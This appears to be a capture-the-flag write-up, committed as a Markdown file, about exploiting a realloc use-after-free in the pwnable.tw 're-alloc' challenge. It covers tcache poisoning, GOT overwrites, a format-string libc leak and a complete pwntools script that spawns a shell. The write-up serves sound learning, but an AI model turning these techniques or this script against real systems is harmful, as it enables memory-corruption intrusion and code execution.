|
| 1 | +# Challenge Description |
| 2 | +## File type |
| 3 | +```bash |
| 4 | +$ file re-alloc |
| 5 | +re-alloc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.29.so, BuildID[sha1]=14ee078dfdcc34a92545f829c718d7acb853945b, for GNU/Linux 3.2.0, not stripped |
| 6 | +``` |
| 7 | + |
| 8 | +## Binary Protection |
| 9 | +```bash |
| 10 | +$ checksec re-alloc |
| 11 | +[*] './re-alloc' |
| 12 | + Arch: amd64-64-little |
| 13 | + RELRO: Partial RELRO |
| 14 | + Stack: Canary found |
| 15 | + NX: NX enabled |
| 16 | + PIE: No PIE (0x3fe000) |
| 17 | + FORTIFY: Enabled |
| 18 | + Stripped: No |
| 19 | +``` |
| 20 | + |
| 21 | +## Background |
| 22 | +- `re-alloc` file offers 4 options to interact with memory: |
| 23 | + - Option 1: Allocate a new memory |
| 24 | + - Option 2: Reallocate an old memory |
| 25 | + - Option 3: Free a memory |
| 26 | + - Option 4: Quit the program |
| 27 | +```bash |
| 28 | +$ ./re-alloc |
| 29 | +$$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 30 | +🍊 RE Allocator 🍊 |
| 31 | +$$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 32 | +$ 1. Alloc $ |
| 33 | +$ 2. Realloc $ |
| 34 | +$ 3. Free $ |
| 35 | +$ 4. Exit $ |
| 36 | +$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 37 | +Your choice: 1 |
| 38 | +Index:0 |
| 39 | +Size:12 |
| 40 | +Data:abc |
| 41 | +$$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 42 | +🍊 RE Allocator 🍊 |
| 43 | +$$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 44 | +$ 1. Alloc $ |
| 45 | +$ 2. Realloc $ |
| 46 | +$ 3. Free $ |
| 47 | +$ 4. Exit $ |
| 48 | +$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 49 | +Your choice: 2 |
| 50 | +Index:0 |
| 51 | +Size:40 |
| 52 | +Data:def |
| 53 | +$$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 54 | +🍊 RE Allocator 🍊 |
| 55 | +$$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 56 | +$ 1. Alloc $ |
| 57 | +$ 2. Realloc $ |
| 58 | +$ 3. Free $ |
| 59 | +$ 4. Exit $ |
| 60 | +$$$$$$$$$$$$$$$$$$$$$$$$$$$ |
| 61 | +Your choice: 3 |
| 62 | +Index:0 |
| 63 | +``` |
| 64 | + |
| 65 | +- The program stores the returned memory address into a global array of pointer (`heap` var) whose length is 2. First 3 options is provided through 3 separated functions: |
| 66 | + - Option 1: `allocate()` function takes and validates the index and size from user, then allocates a memory chunk on heap and store in global `heap` variable. |
| 67 | + ```c |
| 68 | + int allocate() |
| 69 | + { |
| 70 | + _BYTE *v0; // rax |
| 71 | + unsigned __int64 index; // [rsp+0h] [rbp-20h] |
| 72 | + unsigned __int64 size; // [rsp+8h] [rbp-18h] |
| 73 | + void *ptr; // [rsp+18h] [rbp-8h] |
| 74 | + |
| 75 | + printf("Index:"); |
| 76 | + index = read_long(); |
| 77 | + if ( index > 1 || heap[index] ) |
| 78 | + { |
| 79 | + LODWORD(v0) = puts("Invalid !"); |
| 80 | + } |
| 81 | + else |
| 82 | + { |
| 83 | + printf("Size:"); |
| 84 | + size = read_long(); |
| 85 | + if ( size <= 120 ) |
| 86 | + { |
| 87 | + ptr = realloc(0LL, size); // malloc(size); |
| 88 | + if ( ptr ) |
| 89 | + { |
| 90 | + heap[index] = ptr; |
| 91 | + printf("Data:"); |
| 92 | + v0 = (_BYTE *)(heap[index] + read_input(heap[index], (unsigned int)size)); |
| 93 | + *v0 = 0; |
| 94 | + } |
| 95 | + else |
| 96 | + { |
| 97 | + LODWORD(v0) = puts("alloc error"); |
| 98 | + } |
| 99 | + } |
| 100 | + else |
| 101 | + { |
| 102 | + LODWORD(v0) = puts("Too large!"); |
| 103 | + } |
| 104 | + } |
| 105 | + return (int)v0; |
| 106 | + } |
| 107 | + ``` |
| 108 | + |
| 109 | + - Option 2: `reallocate()` function receives index, size of new chunk from user and reallocates a memory chunk. |
| 110 | + ```c |
| 111 | + int reallocate() |
| 112 | + { |
| 113 | + unsigned __int64 index; // [rsp+8h] [rbp-18h] |
| 114 | + unsigned __int64 size; // [rsp+10h] [rbp-10h] |
| 115 | + void *newPtr; // [rsp+18h] [rbp-8h] |
| 116 | + |
| 117 | + printf("Index:"); |
| 118 | + index = read_long(); |
| 119 | + if ( index > 1 || !heap[index] ) |
| 120 | + return puts("Invalid !"); |
| 121 | + printf("Size:"); |
| 122 | + size = read_long(); |
| 123 | + if ( size > 120 ) |
| 124 | + return puts("Too large!"); |
| 125 | + newPtr = realloc((void *)heap[index], size); |
| 126 | + if ( !newPtr ) |
| 127 | + return puts("alloc error"); |
| 128 | + heap[index] = newPtr; |
| 129 | + printf("Data:"); |
| 130 | + return read_input(heap[index], size); |
| 131 | + } |
| 132 | + ``` |
| 133 | + |
| 134 | + - Option 3: `rfree()` function free a allocated memory chunk and set the corresponding index entry of the `heap` variable to null pointer. |
| 135 | + ```c |
| 136 | + int rfree() |
| 137 | + { |
| 138 | + _QWORD *v0; // rax |
| 139 | + unsigned __int64 v2; // [rsp+8h] [rbp-8h] |
| 140 | + |
| 141 | + printf("Index:"); |
| 142 | + v2 = read_long(); |
| 143 | + if ( v2 > 1 ) |
| 144 | + { |
| 145 | + LODWORD(v0) = puts("Invalid !"); |
| 146 | + } |
| 147 | + else |
| 148 | + { |
| 149 | + realloc((void *)heap[v2], 0LL); |
| 150 | + v0 = heap; |
| 151 | + heap[v2] = 0LL; |
| 152 | + } |
| 153 | + return (int)v0; |
| 154 | + } |
| 155 | + ``` |
| 156 | +- The special thing is those 3 operations both repurpose the `realloc` function: |
| 157 | + - `realloc(NULL, size)`: same as `malloc(size)`. |
| 158 | + - `realloc(ptr, size)`: normal usage of `realloc`. If the size value is the same as old chunk size, then it does nothing and returns the same address as before. |
| 159 | + - `realloc(ptr, NULL)`: same as `free(ptr)`. |
| 160 | +- Constraints: |
| 161 | + - We cannot allocate a chunk whose size is more than 120 bytes. |
| 162 | + - Reading user input function always checks the buffer size to prevent buffer overflow. |
| 163 | + |
| 164 | +# Vulnerability |
| 165 | +- The vulnerability is in reallocate function. It doesn't handle case that the size value is 0. If we do reallocating operation with the size is 0, the function will run `realloc(ptr, 0)` which is equivalent to `free(ptr)`. Because the index in array storing the pointer to that memory after that isn't set to null, it leads to **use-after-free** vulnerability. |
| 166 | + |
| 167 | +# Exploitation |
| 168 | +## Arbitrary Write |
| 169 | +- The libc provided in this challenge has mitigation that prevent double-free vulnerability so we cannnot make tcache poisoning attack. |
| 170 | +- However, this mitigation only check if an address exists in a bin of tcache corresponding to its chunk size. Therefore, we can bypass double-free check by resize the chunk and free it again. |
| 171 | +- We use this attack to put an arbitrary address we want to tcache. In next `malloc` usage will return that address and we have privilege to write any data to that address. Below is the sample code for that idea: |
| 172 | +```python |
| 173 | +# Pollutes 0x20 bin with TARGET_ADDRESS |
| 174 | +allocate(0, 0x10, b"abc") |
| 175 | +reallocate(0, 0) # free pointer in index 0 |
| 176 | +rellocate(0, 0x10, TARGET_ADDRESS) |
| 177 | +allocate(1, 0x10, b"abc") |
| 178 | + |
| 179 | +# Set pointer in index 0 to null |
| 180 | +reallocate(0, 0x50, b"abc") |
| 181 | +rfree(0) |
| 182 | + |
| 183 | +# Set pointer in index 1 to null |
| 184 | +rellocate(1, 0x60, b"abc") |
| 185 | +rfree(1) |
| 186 | + |
| 187 | +# The same code with 0x30 bin... |
| 188 | +``` |
| 189 | + |
| 190 | +- After running the above code, tcache should look like: |
| 191 | +```bash |
| 192 | +pwndbg> tcachebins |
| 193 | +tcachebins |
| 194 | +0x20 [ 0]: (TARGET_ADDRESS) ◂— ... |
| 195 | +0x30 [ 0]: (TARGET_ADDRESS) ◂— ... |
| 196 | +``` |
| 197 | + |
| 198 | +## Leak Libc |
| 199 | +- Since we have arbitrary write and PIE is disabled, I think of overwriting the GOT table. In this case, I would like to overwrite `atoll` function to `printf` so that we can leak data from stack using format string attack. |
| 200 | +```python |
| 201 | +printf_plt = exe.plt['printf'] |
| 202 | +allocate(0, 0x20, p64(printf_plt)) |
| 203 | +``` |
| 204 | + |
| 205 | +- With the above, we leaked the data from stack and get libc address. |
| 206 | + |
| 207 | +## Get Shell |
| 208 | +- Now we have libc base address, so we can calculate the address of `system` function and again overwrite `atoll` function to `system` function. |
| 209 | +- However, `atoll` now became `printf` which returns the number of output character. Therefore, we should change to a more appropriate way. |
| 210 | + |
| 211 | +## Exploit Code |
| 212 | +```python |
| 213 | +from pwn import * |
| 214 | +import utils |
| 215 | + |
| 216 | +context.terminal = "kitty" |
| 217 | +context.log_level = "debug" |
| 218 | +context.arch = "amd64" |
| 219 | + |
| 220 | +TARGET = "./bin/re-alloc" |
| 221 | + |
| 222 | +target = process(TARGET) |
| 223 | +# target = remote("chall.pwnable.tw", 10106) |
| 224 | +gdb.attach(target, gdbscript="b *(main + 40)") |
| 225 | + |
| 226 | +exe = ELF(TARGET) |
| 227 | +libc = exe.libc |
| 228 | +rop = ROP(exe) |
| 229 | + |
| 230 | +def allocate(index: int, size: int, data: bytes): |
| 231 | + target.sendlineafter(b"Your choice:", b"1") |
| 232 | + target.sendafter(b"Index:", str(index).encode()) |
| 233 | + target.sendafter(b"Size:", str(size).encode()) |
| 234 | + target.sendafter(b"Data:", data) |
| 235 | + |
| 236 | +def reallocate(index: int, size: int, data: bytes = b""): |
| 237 | + target.sendlineafter(b"Your choice: ", b"2") |
| 238 | + target.sendafter(b"Index:", str(index).encode()) |
| 239 | + target.sendafter(b"Size:", str(size).encode()) |
| 240 | + if size > 0: |
| 241 | + target.sendafter(b"Data:", data) |
| 242 | + |
| 243 | +def rfree(index: int): |
| 244 | + target.sendlineafter(b"Your choice: ", b"3") |
| 245 | + target.sendafter(b"Index:", str(index).encode()) |
| 246 | + |
| 247 | +def printf(data: bytes): |
| 248 | + target.sendlineafter(b"Your choice: ", b"3") |
| 249 | + target.sendafter(b"Index:", data) |
| 250 | + |
| 251 | +def new_allocate(index: bytes, size: bytes, data: bytes): |
| 252 | + target.sendlineafter(b"Your choice: ", b"1") |
| 253 | + target.sendafter(b"Index:", index) |
| 254 | + target.sendafter(b"Size:", size) |
| 255 | + target.sendafter(b"Data:", data) |
| 256 | + |
| 257 | +allocate(0, 0x10, b"abc") |
| 258 | +reallocate(0, 0) |
| 259 | +atoll_got = exe.got['atoll'] |
| 260 | +reallocate(0, 0x10, p64(atoll_got)) |
| 261 | +allocate(1, 0x10, b"abc") |
| 262 | +reallocate(0, 0x50, b"abc") |
| 263 | +rfree(0) |
| 264 | +reallocate(1, 0x60, b"abc") |
| 265 | +rfree(1) |
| 266 | + |
| 267 | +allocate(0, 0x20, b"abc") |
| 268 | +reallocate(0, 0) |
| 269 | +atoll_got = exe.got['atoll'] |
| 270 | +reallocate(0, 0x20, p64(atoll_got)) |
| 271 | +allocate(1, 0x20, b"abc") |
| 272 | +reallocate(0, 0x50, b"abc") |
| 273 | +rfree(0) |
| 274 | +reallocate(1, 0x60, b"abc") |
| 275 | +rfree(1) |
| 276 | + |
| 277 | +printf_plt = exe.plt['printf'] |
| 278 | +allocate(0, 0x20, p64(printf_plt)) |
| 279 | +printf(b"%3$p") |
| 280 | +__read_chk_addr = int(target.recvuntil(b"Invalid !", drop=True).decode(), 16) |
| 281 | +libc.address = __read_chk_addr - 9 - libc.symbols['__read_chk'] |
| 282 | +system_addr = libc.symbols['system'] |
| 283 | + |
| 284 | +new_allocate(b"A" * 1, b"B" * 10, p64(system_addr)) |
| 285 | +printf(b"/bin/sh") |
| 286 | + |
| 287 | +target.interactive() |
| 288 | +``` |
0 commit comments